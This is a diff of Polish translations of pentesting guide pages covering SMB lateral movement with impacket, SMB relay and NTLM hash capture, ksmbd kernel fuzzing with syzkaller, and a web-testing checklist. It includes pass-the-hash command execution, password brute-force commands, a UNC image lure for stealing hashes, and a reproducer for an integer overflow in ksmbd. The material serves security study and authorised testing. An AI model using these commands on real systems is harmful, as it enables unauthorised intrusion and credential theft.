Używając **parameter**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -412,16 +412,16 @@ Używając **parametru**`-k` możesz uwierzytelniać się przy użyciu **kerbero
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Wykonywanie poleceń za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\
|
||||
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
W systemie **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Odnośnik do Impacket
|
||||
## Referencje Impacket
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### Powierzchnia ataku ksmbd i SMB2/SMB3 protocol fuzzing (syzkaller)
|
||||
### Powierzchnia ataku ksmbd i fuzzing protokołu SMB2/SMB3 (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
@ -429,28 +429,28 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**Nie zaleca się tego — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
|
||||
**Nie jest to zalecane — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Ten atak używa Responder toolkit, aby **capture SMB authentication sessions** w sieci wewnętrznej i **relays** je do **target machine**. Jeśli uwierzytelnienie **session is successful**, automatycznie przeniesie cię do **system** **shell**.\
|
||||
[**Więcej informacji o tym ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Ten atak używa Responder toolkit do **przechwytywania sesji uwierzytelniania SMB** w sieci wewnętrznej i **przekazywania** ich do **maszyny docelowej**. Jeśli sesja uwierzytelniania **zakończy się powodzeniem**, automatycznie przeniesie Cię do **system** **shell**.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zawartości przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zasobu przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
To dzieje się przy użyciu funkcji:
|
||||
To dzieje się przy użyciu następujących funkcji:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Które są używane przez niektóre przeglądarki i narzędzia (np. Skype)
|
||||
Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -460,7 +460,7 @@ Które są używane przez niektóre przeglądarki i narzędzia (np. Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Podobnie jak SMB Trapping, podłożenie złośliwych plików na target system (np. przez SMB) może wywołać SMB authentication attempt, co pozwala na przechwycenie NetNTLMv2 hash za pomocą narzędzia takiego jak Responder. Hash może być następnie cracked offline lub użyty w [SMB relay attack](#smb-relay-attack).
|
||||
Podobnie jak w przypadku SMB Trapping, podstawienie złośliwych plików na systemie docelowym (np. przez SMB) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hashu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash może być następnie złamany offline lub użyty w [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
@ -1,16 +1,16 @@
|
||||
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
# ksmbd Powierzchnia ataku & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Przegląd
|
||||
Ta strona przedstawia praktyczne techniki do uruchamiania i fuzzowania jądrowego serwera SMB dla Linux (ksmbd) przy użyciu syzkaller. Skupia się na rozszerzaniu attack surface protokołu poprzez konfigurację, budowaniu stateful harness zdolnego do łączenia operacji SMB2, generowaniu składniowo poprawnych PDUs, kierowaniu mutacji w słabo pokrywane ścieżki kodu oraz wykorzystaniu funkcji syzkaller takich jak focus_areas i ANYBLOB. Choć oryginalne badania wymieniają konkretne CVE, tutaj podkreślamy powtarzalną metodologię i konkretne fragmenty, które możesz dostosować do własnych środowisk.
|
||||
## Overview
|
||||
Ta strona podsumowuje praktyczne techniki pozwalające ćwiczyć i fuzzować Linux in-kernel SMB server (ksmbd) przy użyciu syzkaller. Skupia się na rozszerzaniu powierzchni ataku protokołu poprzez konfigurację, budowaniu stanowego harnessu zdolnego do łączenia operacji SMB2, generowaniu grammar-valid PDUs, ukierunkowywaniu mutacji w słabo pokryte ścieżki kodu oraz wykorzystaniu funkcji syzkaller takich jak focus_areas i ANYBLOB. Podczas gdy oryginalne badania wymieniały konkretne CVE, tutaj kładziemy nacisk na powtarzalną metodologię i konkretne fragmenty, które możesz zaadaptować do własnych środowisk.
|
||||
|
||||
Zakres: SMB2/SMB3 przez TCP. Kerberos i RDMA są celowo poza zakresem, aby zachować prostotę harnessu.
|
||||
Zakres docelowy: SMB2/SMB3 over TCP. Kerberos i RDMA zostały celowo wyłączone z zakresu, aby utrzymać harness prostym.
|
||||
|
||||
---
|
||||
|
||||
## Rozszerz ksmbd Attack Surface przez konfigurację
|
||||
Domyślnie minimalna konfiguracja ksmbd pozostawia duże części serwera nieprzetestowane. Włącz następujące funkcje, aby przeprowadzić serwer przez dodatkowe parsers/handlers i dotrzeć do głębszych ścieżek kodu:
|
||||
## Expand ksmbd Attack Surface via Configuration
|
||||
Domyślna, minimalna konfiguracja ksmbd pozostawia dużą część serwera nieprzetestowaną. Włącz następujące funkcje, aby przetestować dodatkowe parsery/handlery i dotrzeć do głębszych ścieżek kodu:
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
@ -20,7 +20,7 @@ Domyślnie minimalna konfiguracja ksmbd pozostawia duże części serwera nieprz
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
Włączenie ich zwiększa wykonanie w modułach takich jak:
|
||||
Włączenie tych opcji zwiększa wykonanie w modułach takich jak:
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
@ -29,27 +29,27 @@ Włączenie ich zwiększa wykonanie w modułach takich jak:
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
Uwagi
|
||||
- Dokładne opcje zależą od userspace ksmbd w Twojej dystrybucji (ksmbd-tools). Sprawdź /etc/ksmbd/ksmbd.conf oraz sekcje per-share, aby włączyć durable handles, leases, oplocks i VFS objects.
|
||||
- Multi-channel i durable handles zmieniają maszyny stanów i czasy życia, często ujawniając błędy UAF/refcount/OOB pod obciążeniem współbieżnym.
|
||||
- Dokładne opcje zależą od userspace ksmbd w Twojej dystrybucji (ksmbd-tools). Przejrzyj /etc/ksmbd/ksmbd.conf oraz sekcje per-share, aby włączyć durable handles, leases, oplocks i VFS objects.
|
||||
- Multi-channel i durable handles zmieniają automaty stanu i czasy życia obiektów, często ujawniając UAF/refcount/OOB bugs pod obciążeniem współbieżnym.
|
||||
|
||||
---
|
||||
|
||||
## Authentication and Rate-Limiting Adjustments for Fuzzing
|
||||
SMB3 wymaga ważnej sesji. Implementacja Kerberos w harnessach dodaje złożoności, więc dla fuzzingu preferuj NTLM/guest:
|
||||
SMB3 wymaga ważnej sesji. Implementacja Kerberos w harnessach dodaje złożoności, więc preferuj NTLM/guest do fuzzingu:
|
||||
|
||||
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
|
||||
- Akceptuj NTLMv2 (patch policy jeśli wyłączone). To utrzymuje handshake prostym jednocześnie testując ścieżki kodu SMB3.
|
||||
- Wyłącz rygorystyczne sprawdzanie creditów podczas eksperymentów (post-hardening dla CVE-2024-50285 zaostrzył przydzielanie creditów dla operacji równoczesnych). W przeciwnym razie, rate-limits mogą odrzucić fuzzowane sekwencje zbyt wcześnie.
|
||||
- Zwiększ max connections (np. do 65536), aby uniknąć wczesnych odrzuceń podczas fuzzingu o dużej przepustowości.
|
||||
- Zezwól na guest access i ustaw map to guest = bad user, aby nieznani użytkownicy spadali do GUEST.
|
||||
- Akceptuj NTLMv2 (zmodyfikuj politykę jeśli jest wyłączone). Utrzymuje to prostotę handshake’u przy jednoczesnym ćwiczeniu ścieżek kodu SMB3.
|
||||
- Wyczyść/obejdź rygorystyczne checks na kredyty (post-hardening dla CVE-2024-50285 zaostrzył simultaneous-op crediting). W przeciwnym razie rate-limity mogą odrzucić fuzzowane sekwencje zbyt wcześnie.
|
||||
- Zwiększ max connections (np. do 65536), aby uniknąć wczesnych odrzuceń podczas fuzzingu o wysokiej przepustowości.
|
||||
|
||||
Uwaga: Te ułatwienia służą tylko fuzzingowi. Nie wdrażaj tych ustawień w środowisku produkcyjnym.
|
||||
Ostrzeżenie: Te poluzowania służą wyłącznie ułatwieniu fuzzingu. Nie stosuj tych ustawień w środowisku produkcyjnym.
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness: Extract Resources and Chain Requests
|
||||
SMB jest stanowy: wiele żądań zależy od identyfikatorów zwracanych w poprzednich odpowiedziach (SessionId, TreeID, FileID pairs). Twój harness musi parsować odpowiedzi i ponownie używać ID w tym samym programie, aby dotrzeć do głębokich handlerów (np. smb2_create → smb2_ioctl → smb2_close).
|
||||
SMB jest stanowy: wiele żądań zależy od identyfikatorów zwracanych przez wcześniejsze odpowiedzi (SessionId, TreeID, FileID pairs). Twój harness musi parsować odpowiedzi i ponownie używać ID w tym samym programie, aby dotrzeć do głębokich handlerów (np. smb2_create → smb2_ioctl → smb2_close).
|
||||
|
||||
Przykładowy fragment do przetworzenia bufora odpowiedzi (pomijając +4B długości NetBIOS PDU) i zapisania ID:
|
||||
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
@ -81,8 +81,8 @@ Wskazówki
|
||||
|
||||
---
|
||||
|
||||
## Generowanie SMB2 sterowane gramatyką (prawidłowe PDUs)
|
||||
Przekształć struktury SMB2 z Microsoft Open Specifications w gramatykę dla fuzzer, aby twój generator produkował strukturalnie prawidłowe PDUs, które systematycznie docierają do dispatcherów i handlerów IOCTL.
|
||||
## Generowanie SMB2 sterowane gramatyką (Prawidłowe PDUs)
|
||||
Przekształć struktury SMB2 z Microsoft Open Specifications w fuzzer grammar, tak aby twój generator produkował strukturalnie prawidłowe PDUs, które systematycznie docierają do dispatcherów i IOCTL handlers.
|
||||
|
||||
Przykład (SMB2 IOCTL request):
|
||||
```
|
||||
@ -107,12 +107,12 @@ Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
Ten styl wymusza poprawne structure sizes/offsets i znacząco poprawia coverage w porównaniu do blind mutation.
|
||||
Ten styl wymusza poprawne rozmiary/przesunięcia struktur i dramatycznie poprawia coverage w porównaniu z blind mutation.
|
||||
|
||||
---
|
||||
|
||||
## Directed Fuzzing With focus_areas
|
||||
Użyj eksperymentalnego focus_areas syzkallera, aby przypisać większą wagę konkretnym funkcjom/plikom, które obecnie mają słabe coverage. Przykładowy JSON:
|
||||
## Directed Fuzzing z focus_areas
|
||||
Użyj eksperymentalnego focus_areas w syzkaller, aby przyznać większą wagę określonym funkcjom/plikom, które obecnie mają słaby coverage. Przykładowy JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
@ -122,9 +122,9 @@ Użyj eksperymentalnego focus_areas syzkallera, aby przypisać większą wagę k
|
||||
]
|
||||
}
|
||||
```
|
||||
To pomaga skonstruować poprawne ACLs, które trafiają w ścieżki arytmetyczne/overflow w smbacl.c. Na przykład złośliwy Security Descriptor z nadmiernym dacloffset powoduje integer-overflow.
|
||||
To pomaga skonstruować poprawne ACLs, które wywołują ścieżki arithmetic/overflow w smbacl.c. Na przykład złośliwy Security Descriptor z nadmiernym dacloffset odtwarza integer-overflow.
|
||||
|
||||
Skrypt tworzący reproduktora (minimalny, Python):
|
||||
Generator reproduktora (minimalny Python):
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
@ -144,7 +144,7 @@ return bytes(sd)
|
||||
---
|
||||
|
||||
## Przełamywanie stagnacji pokrycia za pomocą ANYBLOB
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) pozwalają zwinąć złożone struktury w bloby, które mutują w sposób ogólny. Zainicjuj nowy corpus z publicznych SMB pcaps i skonwertuj payloady na programy syzkaller wywołujące twój pseudo-syscall (np. syz_ksmbd_send_req):
|
||||
anyTypes syzkallera (ANYBLOB/ANYRES) pozwalają sprowadzić złożone struktury do blobów, które mutują generycznie. Utwórz nowy korpus z public SMB pcaps i skonwertuj payloady na programy syzkaller wywołujące twój pseudo-syscall (np. syz_ksmbd_send_req):
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
@ -167,14 +167,14 @@ f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
To przyspiesza eksplorację i może natychmiast wywołać UAFs (np. w ksmbd_sessions_deregister), jednocześnie podnosząc pokrycie o kilka procent.
|
||||
To przyspiesza eksplorację i może natychmiast wywołać UAFs (np. w ksmbd_sessions_deregister), jednocześnie zwiększając pokrycie o kilka procent.
|
||||
|
||||
---
|
||||
|
||||
## Sanitizery: poza KASAN
|
||||
## Sanitizery: Poza KASAN
|
||||
- KASAN pozostaje głównym detektorem błędów sterty (UAF/OOB).
|
||||
- KCSAN często generuje fałszywe alarmy lub wyścigi danych o niskiej istotności w tym przypadku.
|
||||
- UBSAN/KUBSAN mogą wykryć błędy zadeklarowanych granic, które KASAN pomija ze względu na semantykę indeksów tablic. Przykład:
|
||||
- KCSAN często generuje false positives lub data races o niskiej istotności dla tego celu.
|
||||
- UBSAN/KUBSAN może wykryć błędy związane z deklarowanymi granicami, które KASAN pomija z powodu semantyki indeksów tablic. Przykład:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Ustawienie num_subauth = 0 wywołuje in-struct OOB read sub_auth[-1], wykrywany przez UBSAN’s declared-bounds checks.
|
||||
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
|
||||
|
||||
---
|
||||
|
||||
## Uwagi o przepustowości i równoległości
|
||||
- Pojedynczy proces fuzzera (shared auth/state) zwykle jest znacznie bardziej stabilny dla ksmbd i nadal ujawnia races/UAFs dzięki syzkaller’s internal async executor.
|
||||
- Przy wielu VMs można nadal osiągać setki poleceń SMB/sekundę łącznie. Pokrycie na poziomie funkcji rzędu ~60% fs/smb/server i ~70% smb2pdu.c jest osiągalne, choć pokrycie przejść stanów jest niedoszacowane przez takie metryki.
|
||||
## Notatki o przepustowości i równoległości
|
||||
- Pojedynczy proces fuzzer’a (wspólne auth/state) zwykle jest znacznie bardziej stabilny dla ksmbd i wciąż ujawnia race/UAF dzięki wewnętrznemu async executorowi syzkallera.
|
||||
- Przy użyciu wielu VM można nadal osiągnąć setki SMB commands/sekund łącznie. Pokrycie na poziomie funkcji rzędu ~60% dla fs/smb/server i ~70% dla smb2pdu.c jest osiągalne, choć pokrycie przejść stanów jest słabo reprezentowane przez takie metryki.
|
||||
|
||||
---
|
||||
|
||||
## Praktyczna lista kontrolna
|
||||
- Włącz durable handles, leases, multi-channel, oplocks i VFS objects w ksmbd.
|
||||
- Zezwól na guest i map-to-guest; akceptuj NTLMv2. Pozbądź się credit limits i zwiększ max connections dla stabilności fuzzera.
|
||||
- Zbuduj stateful harness, który cache’uje SessionId/TreeID/FileIDs i łączy create → ioctl → close.
|
||||
- Użyj grammar dla SMB2 PDUs, aby zachować poprawność strukturalną.
|
||||
- Użyj focus_areas, by przydzielić większą wagę słabo pokrytym funkcjom (np. ścieżki w smbacl.c jak smb_check_perm_dacl).
|
||||
- Seeduj ANYBLOBami z realnych pcaps, aby przełamać plateau; pakuj seedy z syz-db do ponownego użycia.
|
||||
- Uruchamiaj z KASAN + UBSAN; dokładnie triage’uj raporty UBSAN declared-bounds.
|
||||
- Zezwól na guest i map-to-guest; akceptuj NTLMv2. Usuń ograniczenia credit i zwiększ max connections dla stabilności fuzzera.
|
||||
- Zbuduj stateful harness, który cache’uje SessionId/TreeID/FileIDs i łańcuchuje create → ioctl → close.
|
||||
- Użyj grammar dla SMB2 PDUs, żeby utrzymać poprawność strukturalną.
|
||||
- Użyj focus_areas, aby przewagować słabiej pokryte funkcje (np. ścieżki w smbacl.c takie jak smb_check_perm_dacl).
|
||||
- Seeduj ANYBLOB z prawdziwych pcaps, aby przełamać plateau; pakuj seedy za pomocą syz-db do ponownego użycia.
|
||||
- Uruchamiaj z KASAN + UBSAN; triage raporty UBSAN declared-bounds ostrożnie.
|
||||
|
||||
---
|
||||
|
||||
@ -214,6 +214,6 @@ Ustawienie num_subauth = 0 wywołuje in-struct OOB read sub_auth[-1], wykrywany
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- Materiały uzupełniające: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Usługa webowa jest **najpowszechniejszą i najbardziej rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**.
|
||||
Usługa webowa jest najbardziej **powszechną i rozległą usługą**, a istnieje wiele **różnych typów podatności**.
|
||||
|
||||
**Domyślny port:** 80 (HTTP), 443 (HTTPS)
|
||||
**Domyślny port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Wytyczne Web API
|
||||
### Web API Wskazówki
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -26,38 +26,38 @@ web-api-pentesting.md
|
||||
|
||||
## Podsumowanie metodologii
|
||||
|
||||
> W tej metodologii założymy, że atakujesz domenę (lub subdomenę) i tylko ją. Stosuj tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem web w zakresie.
|
||||
> W tej metodologii zakładamy, że będziesz atakować jedną domenę (lub subdomenę) i tylko ją. Zastosuj tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem WWW w zakresie.
|
||||
|
||||
- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **tricks**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się zidentyfikować tech.
|
||||
- [ ] Czy istnieje jakaś **known vulnerability** dla wersji danej technologii?
|
||||
- [ ] Czy używana jest jakaś **well known tech**? Jakiś **useful trick** pozwalający wydobyć więcej informacji?
|
||||
- [ ] Czy uruchomić jakiś **specialised scanner** (np. wpscan)?
|
||||
- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje.
|
||||
- [ ] Rozpocznij od **initial checks**: **robots**, **sitemap**, **404** error oraz **SSL/TLS scan** (jeśli HTTPS).
|
||||
- [ ] Zacznij **spidering** strony: czas **find** wszystkich możliwych **files, folders** i **parameters being used.** Sprawdź też **special findings**.
|
||||
- [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech.
|
||||
- [ ] Any **known vulnerability** of the version of the technology?
|
||||
- [ ] Using any **well known tech**? Any **useful trick** to extract more information?
|
||||
- [ ] Any **specialised scanner** to run (like wpscan)?
|
||||
- [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information.
|
||||
- [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS).
|
||||
- [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Spróbuj brute force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**.
|
||||
- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **discovered files** poprzez dopisanie typowych rozszerzeń kopii zapasowych.
|
||||
- [ ] **Brute-Force parameters**: Spróbuj **find hidden parameters**.
|
||||
- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** z nimi związane.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions.
|
||||
- [ ] **Brute-Force parameters**: Try to **find hidden parameters**.
|
||||
- [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it.
|
||||
- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Wersja serwera (Podatna?)
|
||||
|
||||
### Identyfikacja
|
||||
|
||||
Sprawdź, czy dla uruchomionej **wersji** serwera istnieją **known vulnerabilities**.\
|
||||
The **HTTP headers and cookies of the response** mogą być bardzo przydatne do **identify** **technologies** i/lub używanej **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Sprawdź, czy istnieją **znane podatności** dla uruchomionej **wersji** serwera.\
|
||||
**Nagłówki HTTP i cookies odpowiedzi** mogą być bardzo pomocne przy **identyfikacji** używanych **technologii** i/lub **wersji**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Szukaj **dla** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Szukaj **dla** [**podatności aplikacji webowej** **wersji**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Sprawdź, czy jest jakiś WAF**
|
||||
### **Sprawdź czy występuje WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
@ -103,26 +103,27 @@ Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **t
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
||||
Jeśli aplikacja webowa używa jakiejkolwiek dobrze znanej **technologii/platformy wymienionej powyżej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!).
|
||||
Jeśli aplikacja webowa używa którejkolwiek z wcześniej wymienionych dobrze znanych **technologii/platform** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!).
|
||||
|
||||
### Przegląd kodu źródłowego
|
||||
### Source Code Review
|
||||
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez Ciebie **White box test** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**:
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia przez Ciebie **White box test** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**:
|
||||
|
||||
- Czy istnieje plik **Change-log**, **Readme** lub **Version** bądź cokolwiek z **informacją o wersji** dostępną przez web?
|
||||
- Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
- Czy **hasła** są w **tekście jawnym**, **zaszyfrowane** czy który **algorytm haszujący** jest używany?
|
||||
- Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
- Czy istnieje plik **Change-log lub Readme lub Version** lub coś z informacją o **wersji dostępną** przez web?
|
||||
- Jak i gdzie są zapisywane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (usernames or passwords)?
|
||||
- Czy **passwords** są w **plain text**, **encrypted** czy jaki **algorytm haszujący** jest używany?
|
||||
- Czy używa jakiegokolwiek **master key** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
- Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność?
|
||||
- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **zgłoszenia**? Albo w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
- Czy są jakieś **interesujące informacje na github** (rozwiązane i nierozwiązane) **issues**? Lub w **commit history** (może jakieś **hasło wprowadzone w starym commicie**)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatyczne skanery
|
||||
### Automatic scanners
|
||||
|
||||
#### Skanery ogólnego przeznaczenia
|
||||
#### Automatyczne skanery ogólnego przeznaczenia
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -136,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### Skanery CMS
|
||||
|
||||
Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, możesz znaleźć coś ciekawego:
|
||||
Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może znajdzie się coś ciekawego:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów z bezpieczeństwem. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów bezpieczeństwa. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\
|
||||
